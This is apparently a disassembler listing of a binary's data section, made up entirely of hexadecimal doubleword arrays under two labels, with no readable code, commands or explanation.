		dd 1F4C824Ch, 5ED02ED5h, 0A6EE0C30h, 1DEB3E49h,	6FAAE603h
		dd 24042B5Eh, 3CDF4CB4h, 4926DB02h, 5EF0F1C0h, 29593Ah
		dd 0E62E4005h, 0F9BBE947h, 923B0935h, 0A85C5290h, 0E7C15F04h
		dd 0F20485D0h, 683744D6h, 377DF726h, 0CD1079C0h, 75E91258h
		dd 345CD0ECh, 0F1A0465Ah, 896A586h, 5FC1044Fh, 0C20418ADh
		dd 0CC201D09h, 29076EBCh, 0E056764h, 7747EC22h,	7049A62h
		dd 8E09B45Fh, 7C9FF370h, 0DB5F7A21h, 93E98D1Ah,	0FFC02B7Dh
		dd 9821ED3Bh, 656F0E2Bh, 0C5C05276h, 51D4052Dh,	94E5C130h
		dd 7C2BECEDh, 672AC171h, 2A0E9EF2h, 0F3297B81h,	1273F320h
		dd 0EB4F6C52h, 0F70571CEh, 0F9F1E9D3h, 0FFED18EAh, 2604876Ch
		dd 27420F9Fh, 70AA37Fh,	74CB9A53h, 22C505BDh, 2166AA01h
		dd 20AF1B3Ch, 0C6070C5Ah, 17FB337h, 137B90CCh, 0B2AD141h
		dd 96DEF0FBh, 0A94D0ABBh, 0AF1484C6h, 0C904D69Eh, 9A1C0A8Dh
		dd 0ABD55EF5h, 3407665h, 327B3E39h, 42E5F67Fh, 23575D08h
		dd 3D70A58h, 3FB0F7C1h,	42D9167Fh, 8A403B6Dh, 26B2211Ah
		dd 83680256h, 5E40BC17h, 6287505Fh, 47E90A04h, 2850C0F0h
		dd 0E8A48AE5h, 0C1FE0205h, 16F053E9h, 26220BBEh, 635030F7h
		dd 0E108F095h, 2DC3553Ch, 80ED3007h, 0F3E9D840h, 4B8086B5h
		dd 747E09C4h, 490540AAh, 0A5D2AC5Ch, 3F0B99FEh,	0A9D356E9h
		dd 0AD3D1607h, 54E0A6C9h, 460B9EDEh, 7023A55h, 8958F752h
		dd 0F5CCE0CDh, 76A1F45Ch, 93E5053Ah, 7F6011h, 0BFEEF1BCh
		dd 0EA50019Dh, 24FC2AFh, 0B64E0C8Ah, 0D2F24A4Ch, 18D2FBC4h
		dd 2E892254h, 0BBFFCC9Ch, 0F1A18650h, 0FC4F183Ch, 0F952CAAh
		dd 0A7025093h, 0EA1729E7h, 0D8E90042h, 0FCB31FBAh, 871537E9h
		dd 4CE6605Bh, 12F63CE0h, 0F3921A4Fh, 25424008h,	100F1361h
		dd 0EFBDB009h, 8A3B0C45h, 0E7C518D7h, 1EF4ED55h, 0DC6A7576h
		dd 0F317F003h, 79720CC2h, 0FABAB1F6h, 39255858h, 0B9EB8E07h
		dd 1B1DD728h, 5AD31678h, 0B1BD301Fh, 10EB28E3h,	0B16DEC3Eh
		dd 65816136h, 0DA1558C2h, 0D3C57831h, 976C49A4h, 72D691A7h
		dd 0C7558FD8h, 0D2173FF8h, 20AEA4BBh, 1CC3091Eh, 0D84B0D3h
		dd 4F8C9AFEh, 0C8EF4E21h, 6848D07Fh, 83D1D06h, 86EE801h
		dd 6C51412Dh, 0C02594F8h, 9055486Ch, 0FB50293Bh, 0BBBA16CDh
		dd 3AF0E24Fh, 0FCBD811Eh, 7E506155h, 70EA9B6h, 2CE9178Dh
		dd 0B85C74F4h, 2C5BECCBh, 10127491h, 0F3800FFAh, 0F724091Eh
		dd 2A07B049h, 0A1EC5A12h, 405B9C4h, 0A0FF5B58h,	44F8FD75h
		dd 0F518AB69h, 9ACA73E3h, 0CDF7944Ah, 6186A0EBh, 0C05A640Eh
		dd 0C5F743EDh, 0D4C7ADh, 20B551E8h, 0E9C7F4F5h,	6B40AC4Bh
		dd 587DFAEBh, 0B80CC779h, 0C42B845Bh, 1A678415h, 140B0C08h
		dd 0B3FBB25Fh, 274F77F7h, 0B1F209B7h, 6F590881h, 0BF58019Ch
		dd 0F46C21D9h, 0E9530B02h, 95D5A02Fh, 2FE120C9h, 775314C6h
		dd 0BFD64B3Ch, 6C850076h, 0E02D5A3Bh, 78FF356Ah, 481627A7h
		dd 821CD5F4h, 50BA584h,	90C04F5Fh, 0E1393DCDh, 38E9F364h
		dd 995ADDFAh, 0A33F6047h, 0D82E1825h, 911F4FB9h, 5378124h
		dd 0C46BA3C9h, 92F7EC60h, 7DE68D46h, 9FC706EDh,	727C4461h
		dd 5C870560h, 9866114Ch, 60CC0131h, 30E96436h, 0B0453478h
		dd 77244A01h, 0C608B12Ch, 4AE32335h, 8929E81Eh,	634C8E53h
		dd 60E9BBB7h, 0C0A9FFE2h, 594FEC2Dh, 0C2891004h, 300CD9FBh
		dd 0D49C5ACAh, 0CA20CE20h, 0AD5D4BB4h, 4876C1E3h, 0E56A6573h
		dd 1C080676h, 0AD5A3E0Bh, 4A40003Fh, 955FD959h,	0C1076CF6h
		dd 0C0EEC915h, 24294CDh, 52A9BF69h, 4072D20Fh, 6F32F3F4h
		dd 0FF678C2h, 76BCF84Bh, 0AAE752DEh, 0D971B99Dh, 3FB67482h
		dd 25C315D4h, 5758628Fh, 43E7017Fh, 66207788h, 0C7FC0340h
		dd 0B69EE99Dh, 2AFF405Ah, 2D4648FAh, 572E0BA3h,	0C801828Eh
		dd 3B79A768h, 130BED9h,	5BA160EAh, 0A62F20F6h, 0CE017B76h
		dd 292740Fh, 1835CBE9h,	0C0F7C1C9h, 4AB91012h, 0D3FAE27Dh
		dd 0EC2F132Dh, 0E368B0DFh, 1A24B714h, 0DDBDC810h, 7B4727h
		dd 0BC39519Bh, 630CCF41h, 0E680458Bh, 0E7E87BF7h, 0B809AD24h
		dd 6E76B109h, 0F684E145h, 0E253C368h, 50661E05h, 30EF1896h
		dd 0E9ABB2ABh, 149BB330h, 264BFCBAh, 11F3812h, 736976D3h
		dd 808D629h, 0B81E5326h, 11426744h, 2ED69882h, 0F6C5A0CFh
		dd 6836D057h, 5BB7695Ah, 19050394h, 0D1CB6E27h,	0B80780FDh
		dd 9DB05D16h, 506BA549h, 0D926BC42h, 0DA272691h, 50F79491h
		dd 0E8B53564h, 9F01B19Dh, 0A688C75Bh, 254C2DC5h, 0B0675959h
		dd 971DB868h, 0F2C4EE19h, 0FEEDD102h, 0FF9288FEh, 78106804h
		dd 346436BEh, 0B140800Bh, 0C541545Fh, 0E90C04F3h, 3A17A1DFh
		dd 7E503505h, 0B9CDF901h, 17FBA70h, 9F0E6936h, 52A07A27h
		dd 7BE92A5Ah, 37A381F5h, 954F9CC4h, 48CA3DE0h, 4C8D3803h
		dd 2C280E9h, 439D2D26h,	0D55E3CB6h, 9198ED09h, 67F18850h
		dd 0B50C0EE8h, 4F605A4h, 8D122891h, 32927A49h, 0F94898Fh
		dd 42AD7200h, 0A3586BD5h, 51680A04h, 823C8D3Bh,	4E6DF0B0h
		dd 6CA9C156h, 0DF216600h, 0F3EB5BE6h, 9510BEB8h, 4FCBFA9Dh
		dd 0C75AB08Ah, 0AEB941E9h, 0CD646BDEh, 51033ED0h, 8C294897h
		dd 0BC4D6A04h, 33EF847h, 0A07880CFh, 0A980042Ch, 0BE583BE9h
		dd 54BB62A0h, 24B8879Dh, 2D667A86h, 2D7A10D0h, 709D667Bh
		dd 9E0478B4h, 82409F19h, 5AC21F7h, 53B17640h, 15BB219h
		dd 0C42F11F8h, 0F12EFDBDh, 2902055Fh, 0FE2DE275h, 58932Ah
		dd 0AF5FCC79h, 0D15CF735h, 640E2E56h, 3C75BE81h, 866A47E5h
		dd 13A206BDh, 552B0B0Fh, 0C8567D09h, 20127DA7h,	2050A9FCh
		dd 3C9BBAE0h, 9D1CC009h, 1C532D3Ah, 83A35B92h, 0BC25AB48h
		dd 5FCB7C7Ch, 0C229D0C8h, 7FE93EBFh, 0E925CE0Ch, 6805BCC8h
		dd 0DCA3327Ah, 5C28F904h, 0AFB149h, 0AE1EBFDEh,	0D6096013h
		dd 0D348BDE6h, 193613h,	0B3F3EE58h, 65950E78h, 0D19E8C1Ch
		dd 517F8A9h, 0E71D64ABh, 814C5B42h, 8D485D30h, 1B2742E9h
		dd 681BF201h, 3AE4FCCh,	67262FD6h, 0D7029A28h, 0A024760Ch
		dd 48E1AE01h, 0A6020B08h, 317A2034h, 5546E955h,	0ABC032E4h
		dd 0E7D205DDh, 0AB6B0B10h, 3D622908h, 61DBE8Fh,	1F86BA53h
		dd 7C9FED05h, 7A16813Bh
		dd 243CC1E9h, 9567ECDAh, 0DE0E5E06h, 0A260C41Dh, 28E6D6A3h
		dd 75E37DB5h, 8DE917C3h, 4461BAD2h, 1E62B7CFh, 2DCC6882h
		dd 1B628074h, 0CE2477F8h, 774FEF08h, 40C5A4DFh,	0E6590012h
		dd 60F42D0Ah, 7EFA8DA0h, 831AF02Ah, 38027BA1h, 275E8FDDh
		dd 1208B3F9h, 5A3A3354h, 2EB1F2E9h, 0F01337CAh,	7526FD14h
		dd 4B4C675Ch, 208D182h,	2D0036B6h, 7A702EDFh, 16A24B5Fh
		dd 0EEF9620Fh, 0C1208E5Ah, 439AF5h, 6FD04803h, 149CB81h
		dd 0C1191098h, 674806E3h, 10148E51h, 27FB0B8Bh,	5E7B21FCh
		dd 962CA0Eh, 477E3068h,	0EEFE169Dh, 0D7E9EC30h,	0D858819Ah
		dd 75C40EE3h, 0DE3751DFh, 4208C5EAh, 88518D8Fh,	591B6804h
		dd 4F012AAEh, 93844534h, 0E8C0E7D1h, 0F4A0B660h, 0A8C15F73h
		dd 19BCD378h, 0A4E8A892h, 0CBC20A82h, 9EC884E3h, 0B787B058h
		dd 0D5523259h, 49F5D8C8h, 9658B338h, 0FCB30168h, 10115124h
		dd 0DE4B9D29h, 700E8934h, 0FAF30635h, 66495962h, 0FE156F09h
		dd 67C8DD7Dh, 0D89740B4h, 0E16DFE81h, 0A747E83Bh, 14AE3h
		dd 288EB1BCh, 0C1805BD9h, 0FBF2885Bh, 10AA022Ch, 17B65808h
		dd 0FB2D36AAh, 5D0F2C7Bh, 9B9FD40h, 51D71AB5h, 2F411C80h
		dd 0CC74C8Ah, 37E75456h, 4525B9B2h, 7F652786h, 7CA7879Eh
		dd 0CF5FD2ECh, 685089F3h, 0B0D3C15Ch, 30361AEAh, 0C3634C8h
		dd 494C9A02h, 0B6E24FFAh, 747E04DFh, 8B0AC060h,	1D12D561h
		dd 9EB087E9h, 0C1C24A89h, 10796490h, 2FF55EC7h,	2D83CCEh
		dd 37DE0126h, 0C2C48217h, 621274AEh, 0AB605566h, 281351A1h
		dd 80FE8906h, 0D030FFECh, 0DAE93C12h, 4AE46C4h,	0BA173DFEh
		dd 0D1588BDBh, 0B23BE120h, 0DAF498C4h, 7AEC6ABh, 29DB0DF0h
		dd 0F912D4F7h, 83D14BC3h, 83056219h, 662020Ah, 1136416h
		dd 23196B68h, 3D4814h, 61D65585h, 0B5B133E9h, 35A1AFE4h
		dd 0AEB32A1Ah, 0E6685E06h, 152AA509h, 0C9178F10h, 0B88734F9h
		dd 1DE424C0h, 0B57AEAE7h, 59F600A0h, 50B55777h,	0A992C416h
		dd 4930AA83h, 76241A8Dh, 2AC1010Dh, 689CC605h, 406B2646h
		dd 6F406BDBh, 0B353165Bh, 632F0A82h, 0B6F22F99h, 59985C9Dh
		dd 88687B0Ch, 0ED1E30E9h, 7C62C317h, 5825F717h,	4EB4A001h
		dd 132076FBh, 98D0B88Dh, 0BE322D1Fh, 21F75792h,	18B76884h
		dd 94565395h, 8D814A7Ah, 0CC4DE032h, 0E9A3C50Bh, 5E7DE137h
		dd 50A06C3Ch, 34D16E9h,	7FD02E11h, 80718025h, 7A2841EAh
		dd 7A1C34E2h, 8416BBF7h, 4550EAFCh, 0B899FADh, 54582170h
		dd 8D082652h, 93E8BFBCh, 34BE51ECh, 0F52BE8AFh,	68B0FBB8h
		dd 519D0ED8h, 49BAC956h, 5C327D4h, 68820ACEh, 81205DA7h
		dd 1721FBB9h, 0D6062041h, 5EA27E17h, 9A83F4D0h,	0E9EF1F52h
		dd 187FAD85h, 0C01F9240h, 68555648h, 7A273FBEh,	3551400Ah
		dd 4EF8025Ch, 60C2E94Dh, 0DD52DEFEh, 0F82DE678h, 0A641DB0Ah
		dd 376702F5h, 0E7E0104Eh, 0B12DC89Bh, 0B05650EFh, 5514098Bh
		dd 0CC006EF2h, 66CE1739h, 0F4140997h, 0C9C6E0D5h, 0EEB89EA1h
		dd 65EF134h, 0C0F61A83h, 4813CB2h, 0AB3FD3E2h, 0A972C14Dh
		dd 4039ED33h, 862A2CC4h, 5AE6148h, 64CA2E4Fh, 841DAB9h
		dd 0BF3BD9F4h, 0F695F8C6h, 0CFE6E9B9h, 0DB83E93Ch, 4D024791h
		dd 0A3B417Fh, 0ED779E7Ch, 124E7C31h, 4BFCC288h,	4A8C9A75h
		dd 686702E5h, 0E3991A58h, 0EC046B54h, 0BA00C7FBh, 3085563Bh
		dd 2893D4C0h, 5FE978DFh, 0AAC784E1h, 0B404C2E6h, 0EE79F518h
		dd 5D423A22h, 59CB21C8h, 2DDA293Dh, 80D280BFh, 69F621EDh
		dd 395614DDh, 77D56884h, 6FD0CAABh, 278DC150h, 0FD3F2FFBh
		dd 0BEE24E73h, 7E062430h, 281DA62Ch, 591704C8h,	1E8F9FECh
		dd 0BC4E42E5h, 3F0DC44Fh, 13C4570Fh, 69D53Eh, 0F5355800h
		dd 8E1E48A8h, 4324C589h, 871D2790h, 10D6C9FBh, 6562755Eh
		dd 0BF57000Bh, 31631E0h, 4BAE8926h, 87D151D1h, 56ABD793h
		dd 609FAEEh, 64268997h,	9068057Ah, 0BE6C176Dh, 70B07C7h
		dd 0B0C05754h, 0D662653Dh, 31ABE56h, 4D764008h,	9D9A16C2h
		dd 1043E889h, 7770073Eh, 0B9712CF1h, 30934143h,	27B2328Fh
		dd 1D7D6958h, 40E62B25h, 247C066Fh, 18371080h, 79F13D90h
		dd 28610212h, 5DA8F502h, 6F00DF4Dh, 582252C2h, 775B48EAh
		dd 0BDCB8198h, 0F1105A98h, 2FF5682h, 0DF3628EAh, 0A3F2B9E0h
		dd 7D779C12h, 4AE3D0FBh, 555B7459h, 2CC305ABh, 5438318h
		dd 5A881E07h, 0CEF07FFDh, 0BF355603h, 168AD302h, 0A41682FFh
		dd 622FDC60h, 34DFD906h, 0CB6815ACh, 0BA021810h, 296D0BA5h
		dd 0F45FB6C0h, 0F0D69225h, 717A9542h, 611FFE2Eh, 66F18C0h
		dd 4DAF807Bh, 0D92AF625h, 50CB36Eh, 0EAE506E3h,	3F038544h
		dd 550E28EFh, 289D1AC8h, 0D00120CDh, 7440500h, 5C2D513Ch
		dd 6D2C2618h, 27CC0278h, 9A571580h, 5CBD0E8h, 0A3ECD7F5h
		dd 5518FAD2h, 43EAD2Eh,	0E3E971AEh, 206FF930h, 83BC0905h
		dd 82D777A0h, 7FCFB22Bh, 888099EEh, 4AE22DEAh, 6A40BA01h
		dd 0DA314491h, 174CE67Fh, 0FCB36929h, 0DDBBF503h, 8406EA30h
		dd 758418FCh, 58CD58A7h, 0C260573Dh, 5BCBA93Bh,	0F6EA2925h
		dd 0E902CFBBh, 816894BDh, 0AD1E6105h, 59C9A05Bh, 0A54C5967h
		dd 5A382D54h, 0EC10FC31h, 1349CEA4h, 1FFE80FEh,	45973D09h
		dd 0EDCC2FCAh, 0BF948854h, 0B461700Fh, 98694F79h, 17C0B814h
		dd 0E32455Eh, 0E7A39C43h, 85B7013Fh, 58080BEBh,	1100F509h
		dd 25D57972h, 5FFB0912h, 0CF783DC0h, 0AA7A8042h, 5C2A5725h
		dd 2BFE259Fh, 5421FFE4h, 96CB38BBh, 50ABAA03h, 0D8F688B0h
		dd 3A8290C0h, 0E0829E2Ch, 249DE907h, 14200D72h,	0D2F70172h
		dd 0EBC1D387h, 237DF202h, 0B939B0C4h, 0E234F917h, 7F96A2C6h
		dd 27DEDA2Eh, 4EC4EFFAh, 4DA3674Dh, 1E20A948h, 33F18024h
		dd 4AD9A00Dh, 46A1CB05h, 2ADFF56Ah, 0D9B61E00h,	738EEE80h
		dd 40776C0h, 94E960F6h,	34B9016Ch, 4B21A645h, 0CE45C22Fh
		dd 919850ECh, 2C00444Ch, 7D03AF71h, 0F6DDC2Ch, 0B30C300Ch
		dd 8177410Bh, 7A27BB7Fh, 4985C530h, 455F24A5h, 0F2D6EDBFh
		dd 0C48F5011h, 0B7EF39Fh, 0F3DB35A0h, 0F148D489h, 2AACCD84h
		dd 0EFC54BA8h, 0A4AA56E0h, 0AD092DD4h, 517D980Ch, 0A4579747h
		dd 0F159356Ch, 359F8E36h, 0E6E25B08h, 12BA4C10h, 0FFE8D889h
		dd 0AB24345Bh, 444A06A7h, 1245A716h, 22188BCh, 959814A5h
		dd 3663215Ch, 0E6AA843Ch, 50994CE1h, 393F9417h,	78013B52h
		dd 3008C651h
dword_4F0044	dd 0CC70D57Ah, 80D2DEB7h, 0E7E58108h, 470BDE70h, 0DC361668h
					; DATA XREF: ___:00437A5Co
		dd 4EEA60BBh, 149D132Ah, 0A870BD35h, 0C50C2890h, 70702235h
		dd 12215A5Dh, 0BD85C89Ah, 0B1047A09h, 2AE70414h, 5213C910h
		dd 0A5C7ECB9h, 0D5F74E82h, 0EA5BE905h, 76C8E661h, 1038CA06h
		dd 665B70CFh, 68E1B8BCh, 4379DEB6h, 8E80569Eh, 5E0CEB4Bh
		dd 428FA8D1h, 64580F9Fh, 0D37CF189h, 8FFCA4CAh,	63A2564Bh
		dd 55044077h, 133BB941h, 0F0B6B8E8h, 56D168FDh,	0BD04A644h
		dd 4B7E7860h, 49217F56h, 68C779F8h, 611370C3h, 6001273Fh
		dd 7290156Bh, 806502Eh,	0EC11E913h, 0D192D60Eh,	5E17D8CEh
		dd 5831AA28h, 0F7EA7AB7h, 3854CD41h, 0F021127Fh, 2B6CB88Dh
		dd 7E5F417Eh, 53679817h, 90BC34F2h, 0F0E79D8h, 0DE316ED1h
		dd 12C40CA4h, 4477B202h, 80636092h, 82119C1Ch, 0C7C21AFh
		dd 0DE4B2B71h, 0F1BD007Ch, 115201Fh, 0B40AFD58h, 77953BCh
		dd 533246C2h, 68552010h, 764C4474h, 31C1102Ah, 93D0662Dh
		dd 0CF80220Eh, 7BEF6533h, 0BAC785FEh, 122BE49Dh, 5AC69E21h
		dd 8F8485E2h, 4A0DECC0h, 51280EA5h, 380ED14Fh, 0E80F0441h
		dd 1AE4E4DEh, 2120CDEAh, 1789736Bh, 5355036h, 3BB9A900h
		dd 7457D2Fh, 3A7CBE56h,	37E99188h, 13292624h, 948C5EADh
		dd 0D03A16B0h, 4EB1E327h, 0E93538AEh, 5CBCDF2Fh, 2CE1E9B3h
		dd 8850507Ch, 0DEE652D3h, 6AB7F0EAh, 89F0852Ch,	0EB835391h
		dd 7EA7C2D3h, 63F281CDh, 6AD372F3h, 9CBD8B00h, 2F9021A9h
		dd 0BB8F51E9h, 77FB2878h, 0C2C2D37h, 1BDA1581h,	1ADF9C40h
		dd 0A94A4E0Ch, 1DBF5A64h, 52C0C0A1h, 0CA012CC7h, 2B02A7A1h
		dd 2E1194Bh, 0AC4C81h, 1509790Dh, 35484E00h, 2CAD1195h
		dd 1C54B729h, 9E0A662Dh, 0E1E9508Ah, 5F58E864h,	12F48FCh
		dd 0D0809896h, 0C8054FCCh, 0BF77E90Fh, 0E52B8DAAh, 0A271C6CBh
		dd 1DA6133Ch, 0F240D4E5h, 4B589798h, 5141BE79h,	6BE37B0Ah
		dd 0CC03FA9Ch, 0B4F807E1h, 5EC35F08h, 72C28B31h, 0FD62F456h
		dd 0AFBD0F26h, 79BD2878h, 0C168448h, 0CCCFF01h,	0AAB65BF1h
		dd 28EA2124h, 0E44FDD8Dh, 54F162D7h, 4001AE8h, 40090F3Bh
		dd 1036B1E9h, 275A7375h, 4D205B07h, 286D193Dh, 72267D91h
		dd 769F0A20h, 0C126ACB6h, 7A096A68h, 1EBF5F30h,	0CC6E5F23h
		dd 0ABD26ECh, 9226CD25h, 4ABCE970h, 35AD602Ah, 745E1AC8h
		dd 374B390Eh, 9552B216h, 9CCCC0EEh, 41761321h, 897C700h
		dd 0E95B6D15h, 43AB23Bh, 0AE524FB9h, 4F09FE77h,	74E2309Eh
		dd 61D5827Ah, 94DC3BA4h, 495EB564h, 0C3DE9F54h,	80F2098Bh
		dd 0F11AC2A5h, 2D07695h, 0A72A74C5h, 0E2772947h, 0E90807D7h
		dd 0BC43D1EBh, 0FF1A3013h, 9F7CB276h, 0D3170D67h, 0E9827BADh
		dd 0C8C519B0h, 4428942Ch, 0C4076C58h, 0C1EAB5h,	258BD5A9h
		dd 0BB5259CBh, 2A696D45h, 0AAD00113h, 343F7AD9h, 1320F696h
		dd 0BDECFBE9h, 0C90E5E24h, 5443BE76h, 0A028125Bh, 0C9E9AD9Fh
		dd 0D99E7657h, 7B842A5Ch, 0C91731AFh, 0C6EE0746h, 1F0CA2C2h
		dd 172DCABEh, 312EB4Eh,	310716BDh, 64B1B9D2h, 0D5D4AEC1h
		dd 1EE9FD80h, 909B2BDh,	77E72548h, 7587895Dh, 37090F96h
		dd 74341F72h, 2EE90E7Bh, 4660AA97h, 9944BC68h, 0EF5692ECh
		dd 5C02FB8Ah, 551B3923h, 2BECC0F8h, 5E67C81Ah, 0E90702ACh
		dd 2D83E8EEh, 0A9221D34h, 75DF434Eh, 0A1F9069Dh, 0A6403A63h
		dd 0DD124BE3h, 35B74BAh, 0EAC1375Fh, 0FF9A8302h, 4A3F97Dh
		dd 0C04ADAF7h, 435ED97Eh, 0DDA04D4Bh, 99292550h, 0B11E8275h
		dd 0CB7E69F3h, 99ACB3DCh, 89750216h, 6EF780A6h,	47AD8030h
		dd 58FC272Fh, 80FDE4Ah,	0F28D893Dh, 9F8BB274h, 62BF5E02h
		dd 8531C56h, 0F758540Fh, 60384A01h, 0D33C19B9h,	41A4683Bh
		dd 2E06C3DFh, 59739D76h, 0FCBC4995h, 5B89234h, 13855E5Dh
		dd 0B1B74350h, 59C37652h, 784F1C2h, 3D22FF58h, 53500C01h
		dd 99BBF80h, 293BBD35h,	460BB1F5h, 4769A49Dh, 0F02114C1h
		dd 16E0E95Fh, 76E979BEh, 25F9C001h, 4090011Fh, 7324EAB5h
		dd 0C5B70017h, 305BFA88h, 0D8D1D04Ah, 322FC868h, 44354F7h
		dd 0F90B1C9Ch, 1B525466h, 0ECAD0650h, 0C40810F7h, 688B313Bh
		dd 3844343Dh, 0A72B5B97h, 0E91D24FBh, 2FAACC15h, 40EF6668h
		dd 0B8755096h, 67B11014h, 126081B0h, 0C6290311h, 2D774A10h
		dd 78B34059h, 0A0B46450h, 0AF3394D5h, 59E91668h, 112CCDAh
		dd 6C65CAF5h, 9B2B6429h, 8E4108A8h, 43442501h, 0DDD439C1h
		dd 52A3F4Ah, 2F803298h,	0C5B75BD8h, 0FF4097ADh,	8AEED612h
		dd 525180BCh, 26640E68h, 16CD6AF4h, 0AB5304DAh,	7FA1FBAh
		dd 3B0C7F18h, 7F68AB69h, 115F8026h, 4628F69Dh, 0B2B01A29h
		dd 1007E23Bh, 9C055B35h, 0D4D2A39h, 3B2B169Ch, 74EA1601h
		dd 0D0207BFDh, 487AF66Fh, 0A4076E3Dh, 6071F478h, 9F3CACE1h
		dd 102D00BDh, 0C1324F02h, 1F47DE0Ch, 8F056597h,	0C6BCC376h
		dd 90C4882h, 6B623334h,	801CDEAh, 4D436468h, 1B8CE2BAh
		dd 0A00AEB44h, 5253E01Bh, 0F7920820h, 77250398h, 0C0687ECAh
		dd 3A71E69h, 22FF1ECBh,	450C33CBh, 0ECFA22A2h, 0F7C983BCh
		dd 0DAAC6B30h, 0DFF6050Bh, 0E905ADDCh, 28BB10E2h, 774A0BC2h
		dd 0BDC0AFF8h, 3A750A3Fh, 5336BE04h, 89E1E82Dh,	0E99EC87Eh
		dd 5E7A06D5h, 0E9AB6CAFh, 5E76384Dh, 743032AAh,	875E58C8h
		dd 0CA81F201h, 0B1420A2h, 6E0D0C84h, 7663C173h,	72BE3252h
		dd 0E5BDD94Ah, 860E497Dh, 48F5F09h, 60563A5Dh, 964FCDECh
		dd 86C05285h, 0F7806344h, 0AFA9D6D0h, 7E22FCC9h, 82952E50h
		dd 0AD0073F7h, 9A95CF64h, 85CA9680h, 50FC2D90h,	2E2D1E89h
		dd 0B31022CAh, 0E3956135h, 1F0C104h, 2E6D365Dh,	0D4D2BF5Bh
		dd 73F55A9Fh, 5AEA80D2h, 155D41Dh, 495CA51h, 0E590A908h
		dd 6A8340BAh, 2550FA11h, 1D403303h, 14010555h, 0A5E8D125h
		dd 7FE90461h, 6CFF6473h, 0F6E93541h, 0EEA2136Ah, 4BF30CC1h
		dd 0B509FEF8h, 0D0401EC3h, 7D02D49Fh, 0C8E9DA01h, 0BEBFAADh
		dd 303259D9h, 925AFD6h,	8BDD6F6h, 0DE2716D4h, 9C57A5AAh
		dd 77667442h, 0FADEBD2Ch, 11634BE3h, 7B2446AFh,	86E62149h
		dd 5E1B0315h, 35C50085h, 28AC0B55h, 29560D05h, 0A4EE5765h
		dd 9EC79693h, 0C626F031h, 0F8FB8308h, 5D00E2Dh,	0CE68A01Ah
		dd 9F9A32Bh, 0AAC375DDh, 77A52CB7h, 0B07E2F98h,	7902D882h
		dd 0AF465443h, 323700BEh, 0CE813F90h, 675C2123h, 0D4C603B5h
		dd 0CDB60143h, 0D21464D1h, 0D706F62Dh, 2870E259h, 93DD1609h
		dd 5EF007EEh, 4B1EF919h, 0CA85ADA2h, 0DC20500h,	0E8224A38h
		dd 0FF4B774Eh, 1F60E226h, 9CC066A3h, 5956654Eh,	44CF0E4Bh
		dd 0C4C0CB59h, 0B3CF9EEh, 9AE9C535h, 31C72FAFh,	8D126CAh
		dd 9E7865B5h, 351F4942h, 0E2D58357h, 0F4930E22h, 0ABF79C7Dh
		dd 5F074210h, 0D0BD1C49h, 6041B998h, 1A6C4262h,	0EC64CBFh
		dd 7E215B67h, 0DA82C54Bh, 405CEF1Ch, 9B12E069h,	0A554B77Eh
		dd 271CF284h, 82C2FBD2h, 0EA6EE907h, 0B7E0F76Ch, 36F4A8F5h
		dd 7DC6BBD9h, 0B66E123Eh, 0FCF47CC5h, 0C5F8D782h, 0E6E43927h
		dd 0EC682F83h, 0F2711855h, 46D9A0Eh, 1C9805D8h,	0BE0880F1h
		dd 1402444Eh, 0E9F0096Fh, 178256B0h, 0C42FB2ACh, 0BD005CD3h
		dd 58073A17h, 5A7C7C95h, 0B7520277h, 0F7094Ch, 6616DBB5h
		dd 69817D72h, 72C80DD7h, 2AC0913Bh, 8853CEFEh, 1D58BFF7h
		dd 0E8EB8F2Dh, 73A6C624h
dword_4F0844	dd 0E4E44ADCh, 0E979EFC1h, 0D5E9899Dh, 684539CCh, 3B09F1h
		dd 59ADCBC3h, 749F4BAAh, 2D154A57h, 26B184CBh, 7816AFC2h
		dd 90641E16h, 0F1A6D72Ah, 0B89830C7h, 0FB60CFE6h, 0F8888B0Ch
		dd 0C130095Bh, 24405866h, 0E69DAF68h, 5F635EBDh, 0AF519903h
		dd 387CF157h, 562598Bh,	686E0CB6h, 0C9785690h, 0CE18C108h
		dd 70105A29h, 3E144A6Eh, 5A73330h, 2512070Ch, 0C1BAA157h
		dd 24C9F2EEh, 0D219CD67h, 47D63D1Ah, 0EA4E0239h, 0B34FB02Bh
		dd 0CABA252Fh, 67DC001Ah, 2E402C15h, 309D101h, 2F377CE8h
		dd 3A3F8DE9h, 0B053B635h, 3F163DEAh, 0CE2756A8h, 0FD316582h
		dd 81801959h, 49176AF5h, 478DC1Bh, 824A3B62h, 0E1DEDA09h
		dd 8E805751h, 249362CEh, 510BF7BFh, 0FC313365h,	360B3C03h
		dd 857FD36Fh, 0D061BFD8h, 510279B7h, 8B69F15Dh,	22D75FF9h
		dd 0F742AD72h, 8030BACDh, 0A290E68h, 2E96AC8h, 0A560AFEDh
		dd 0F6399DB6h, 80D604DEh, 73817FE6h, 3A3CC5E9h,	0B89AB313h
		dd 0E8D01F27h, 208C093h, 15BA02FDh, 0A6619868h,	21326403h
		dd 0EFA8B3BFh, 0A5B28F84h, 800F5E78h, 0D058B2BFh, 0EA80E20Bh
		dd 329BFEB8h, 724AC6F0h, 76E39A00h, 81243363h, 86678AC5h
		dd 0B56820CBh, 7B07D243h, 8B5F50h, 0A1685649h, 2F278765h
		dd 69455E5Eh, 0FC066078h, 77E9151Eh, 9CC89555h,	3580F864h
		dd 2510E025h, 5054898Ch, 28B67108h, 7DCA0B5Ch, 37D65517h
		dd 612173Fh, 58A6275Dh,	8B39FC00h, 0B0F129F3h, 0F72D2D5Fh
		dd 0FD08FBDAh, 2ED93C3h, 5B021101h, 30D15957h, 0D079B818h
		dd 0E1D1361Dh, 0D58D89CCh, 40682453h, 251763h, 38D4CBABh
		dd 0D4950BD2h, 77378027h, 0DE890CC6h, 64B1E913h, 871835F9h
		dd 423134FBh, 8FF0684Fh, 7BEE32B3h, 217CEB9Ah, 6F910CB0h
		dd 29351ACBh, 80156C3h,	81ECC6E9h, 71F2F3CDh, 0EFEC65A2h
		dd 0A87BE12Eh, 0AC7CF1DEh, 60FA0500h, 0C926C02Ch, 0ED5FED10h
		dd 2B70718Dh, 35626C86h, 77121AF6h, 250C23EFh, 0F13116B8h
		dd 0C70AA22Ah, 747287C2h, 1E4A5778h, 0C966080Bh, 0F0047E9Fh
		dd 32BF2F0Eh, 76CC0B7Bh, 29D8A519h, 45ABDA4Ah, 0D13DCDD5h
		dd 137FC9C6h, 593B0CCBh, 8934EB83h, 0B6251492h,	0FAADC45h
		dd 0DACE805Ah, 6716C30Bh, 0D0C5B125h, 0E07B983Ch, 9BBE9CCBh
		dd 2EE73267h, 48BE68A2h, 0B037A5C6h, 0A7924F9h,	930D8BEFh
